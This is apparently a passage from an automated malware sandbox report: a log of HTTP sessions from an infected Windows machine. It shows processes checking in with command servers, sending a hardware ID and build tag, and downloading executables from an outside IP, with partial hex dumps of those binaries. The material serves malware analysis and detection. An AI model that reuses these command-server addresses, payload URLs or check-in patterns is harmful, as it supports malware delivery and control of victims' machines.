Nov 1, 2024 05:02:31.814466000 CET	1236	IN	Data Raw: 8d b2 1c 41 4c b5 c4 dc 2d 80 11 a6 2d 22 ee 62 c7 f9 a1 bc 2c c1 1e 7f bc a1 ed 83 b4 50 27 82 4f d9 14 6a 6a 99 14 da 94 cf 1f 5f 91 7e 10 71 35 96 26 72 bd 9e a9 9a b6 9b 2b 61 9d 18 2f 4c 26 ba 27 c8 2e df 26 83 c7 0e 29 0b b8 3c c3 58 2b 13 Data Ascii: AL--"b,P'Ojj_~q5&r+a/L&'.&)<X+hh({ZtOFt7R6Y\+!ow.j!gd/^wzvK1n)zx#!.VW/'+;4k}`yXNDDw8r\|
Nov 1, 2024 05:02:31.819016933 CET	1236	IN	Data Raw: 73 cf 28 3f 09 67 9c e7 d0 d6 4c d2 1b 76 a1 a7 b4 bb 36 81 50 48 30 73 dc bb 31 84 8c f1 4a 8a aa c3 2e e3 1d 1d d2 ee c3 be 63 c3 b0 fc 00 fd b1 bb aa f8 b1 d6 d8 f2 ee bb 14 83 41 1e ef a4 1a bb 10 b3 f2 bb 04 67 2b 6e 88 53 b1 a6 0a da 88 ae Data Ascii: s(?gLv6PH0s1J.cAg+nSO6ixCh&#K6Tdr8t:AFH@~r\|P"2*Jr4>';YC'3XiLRL48D:<Z4y3i3'p ]W)'`-
Nov 1, 2024 05:02:39.897356987 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:02:40.172543049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:40 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Fri, 01 Nov 2024 03:42:54 GMT Connection: keep-alive ETag: "67244e3e-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@ L@WkDKK @.rsrcD@.idata @ +@edfilslq1@gprpjvtrK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	59859	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:34.245990038 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003087001&unit=246122658369
Nov 1, 2024 05:02:35.172244072 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	59861	185.215.113.16	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:35.182133913 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:02:36.101073027 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:35 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Nov 1, 2024 05:02:36.101111889 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE
Nov 1, 2024 05:02:36.101161003 CET	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hj
Nov 1, 2024 05:02:36.101238966 CET	1236	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 00 e1 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 e6 95 01 00 8d 8d 04 fc ff ff e8 db 95 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 ae Data Ascii: jRAM]UQMM\|MHM<M0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\M
Nov 1, 2024 05:02:36.101248026 CET	424	IN	Data Raw: ff ff e8 68 90 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 2c 56 42 00 8d 95 78 fd ff ff 52 8d 85 cc fe ff ff 50 8d 8d 84 fd ff ff 51 68 84 55 42 00 8d 95 90 fd ff ff 52 8d 45 08 50 8d 8d 9c fd ff ff 51 68 dc 54 42 00 Data Ascii: h}0E$PlQh,VBxRPQhUBREPQhTBREPQi[TMP*lxti^SH=
Nov 1, 2024 05:02:36.101350069 CET	1236	IN	Data Raw: 52 e8 21 8f 01 00 e8 8c 73 01 00 83 c4 0c 85 c0 0f 84 ab 02 00 00 68 23 0e 42 00 8d 8d 80 fe ff ff e8 a1 8e 01 00 68 cc 58 42 00 8d 85 fc fc ff ff 50 8d 4d 18 51 8d 95 08 fd ff ff 52 68 24 58 42 00 8d 85 14 fd ff ff 50 8b 0d f0 6b 6d 00 51 8d 95 Data Ascii: R!sh#BhXBPMQRh$XBPkmQ R7P }0t0PQiPM}0tMU$R
Nov 1, 2024 05:02:36.101357937 CET	1236	IN	Data Raw: cc cc cc 55 8b ec 83 ec 08 8b 45 08 89 45 f8 8b 4d 08 8b 51 04 2b 55 0c c1 e2 0c 03 55 f8 89 55 f8 8b 45 f8 89 45 fc 8b 4d 08 8b 51 04 2b 55 0c 8b 45 08 89 50 04 8b 4d fc 8b 55 0c 89 51 04 8b 45 fc 8b 4d 08 89 48 0c 8b 55 fc 8b 45 08 8b 48 08 89 Data Ascii: UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Usm;EuMsmUBMAUBEMQPExtMQEBE]UE]UE]
Nov 1, 2024 05:02:36.101372957 CET	424	IN	Data Raw: 1f 42 00 68 90 1f 42 00 e8 d2 20 00 00 83 c4 0c a3 b0 6c 6d 00 6a 0c 68 a8 1f 42 00 68 b8 1f 42 00 e8 b9 20 00 00 83 c4 0c a3 50 6f 6d 00 6a 09 68 c8 1f 42 00 68 d4 1f 42 00 e8 a0 20 00 00 83 c4 0c a3 7c 6b 6d 00 6a 0a 68 e0 1f 42 00 68 ec 1f 42 Data Ascii: BhB lmjhBhB PomjhBhB \|kmjhBhB kmjhBh Bn kmjh Bh BU (mmjh( Bh8 B< nmjhH BhT B# $nmjh` Bhp B kmjh Bh B
Nov 1, 2024 05:02:36.101461887 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a 16 68 40 21 42 00 68 58 21 42 00 e8 0c 1f 00 00 83 c4 0c a3 b4 6f 6d 00 c7 05 c4 6c 6d 00 00 00 00 00 6a 07 68 70 21 42 00 68 78 21 42 00 e8 e9 1e 00 00 83 c4 0c a3 Data Ascii: Ujh@!BhX!Bomlmjhp!Bhx!B\|nmjh!Bh!B@nmjhBhBomomlmjhBhBomjhBhBqomjhBhBXmmom
Nov 1, 2024 05:02:36.101553917 CET	1236	IN	Data Raw: 42 00 e8 5c 1a 00 00 83 c4 0c a3 20 6e 6d 00 6a 09 68 b0 26 42 00 68 bc 26 42 00 e8 43 1a 00 00 83 c4 0c a3 68 6d 6d 00 6a 13 68 c8 26 42 00 68 dc 26 42 00 e8 2a 1a 00 00 83 c4 0c a3 68 6f 6d 00 6a 0a 68 f0 26 42 00 68 fc 26 42 00 e8 11 1a 00 00 Data Ascii: B\ nmjh&Bh&BChmmjh&Bh&B*homjh&Bh&Blmjh'Bh'Bmmjh0'Bh<'BmmjhH'BhT'Bnmjh`'Bht'Bjmjh'Bh'Bkmjh'Bh'B{Lmmjh
Nov 1, 2024 05:02:36.105926037 CET	1236	IN	Data Raw: bc 6e 6d 00 6a 10 68 68 2d 42 00 68 7c 2d 42 00 e8 7a 15 00 00 83 c4 0c a3 78 6e 6d 00 6a 0d 68 90 2d 42 00 68 a0 2d 42 00 e8 61 15 00 00 83 c4 0c a3 18 6c 6d 00 6a 0d 68 b0 2d 42 00 68 c0 2d 42 00 e8 48 15 00 00 83 c4 0c a3 7c 6f 6d 00 6a 0b 68 Data Ascii: nmjhh-Bh\|-Bzxnmjh-Bh-Balmjh-Bh-BH\|omjh-Bh-B/kmjh-Bh-B@pmjh.Bh .Bkmjh8.BhL.Bmmjh`.Bht.B\lmjh.Bh.B8mmjh.Bh.B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	59872	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:41.968081951 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003088001&unit=246122658369
Nov 1, 2024 05:02:43.908793926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	59876	34.107.221.82	80	4724	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:44.293411016 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:02:44.896122932 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68205 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	59881	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:45.554114103 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:02:46.472552061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	59882	185.215.113.206	80	5644	C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:46.137660980 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:02:47.011140108 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:02:47.024653912 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="build"tale------FCBAEHCAEGDHJKFHJKFI--
Nov 1, 2024 05:02:47.310520887 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	59884	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:48.004311085 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:02:48.916269064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	59886	185.215.113.43	80	6656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:50.815910101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:02:51.707609892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	59888	185.215.113.16	80	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:02:53.277301073 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 05:02:54.197480917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:02:54 GMT Content-Type: application/octet-stream Content-Length: 2778624 Last-Modified: Fri, 01 Nov 2024 04:00:31 GMT Connection: keep-alive ETag: "6724525f-2a6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +kx`Ui` @ @.rsrc`2@.idata 8@cfyesryy :@gwntuilp @@.taggant@"D*@
Nov 1, 2024 05:02:54.197498083 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197527885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197623014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197634935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197685957 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197700024 CET	1048	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197813034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197877884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:02:54.197890997 CET	1236	IN	Data Raw: c2 a3 5c 54 42 0f 22 b7 bd ee ea 80 79 0a 27 c2 12 8c 22 7d bc fa 18 2f a6 be 16 58 8d cf 29 a5 b8 ad 85 8e 75 d7 1e 61 c8 bc 0b 15 ba c7 27 43 dd d2 19 9a 3f c0 24 71 39 c6 2a 03 9b 52 e4 58 8e 94 21 2a 76 f4 bf 52 55 a3 f7 6d bc 44 1d 82 b1 b7 Data Ascii: \TB"y'"}/X)ua'C?$q9RX!vRUmDT<<~bO1vdrw(H7uC-y%/ic$xwX/'1{kat2(U>y./8{N(
Nov 1, 2024 05:02:54.202430964 CET	1236	IN	Data Raw: 7a a1 91 e5 d1 bb 06 c4 94 ce 10 c2 aa fb dc 66 8b 3e 94 65 6a 9e f0 f2 ab a0 e0 90 5c 13 a8 db 22 fb e5 b4 19 93 09 d4 9c 94 a9 1a f9 50 17 a3 70 24 25 c5 85 5c ea 0c ca 02 17 3b a9 7b db ee d9 0f e3 57 f7 fa e5 45 74 eb 65 24 d0 73 e0 c0 20 fa Data Ascii: zf>ej\"Pp$%\;{WEte$s 1R]czu7mEl}CUb+tKsYo>5ZW?vZN\j7F95jcO%ZHPD~9Gy!6[
Nov 1, 2024 05:03:05.037230015 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
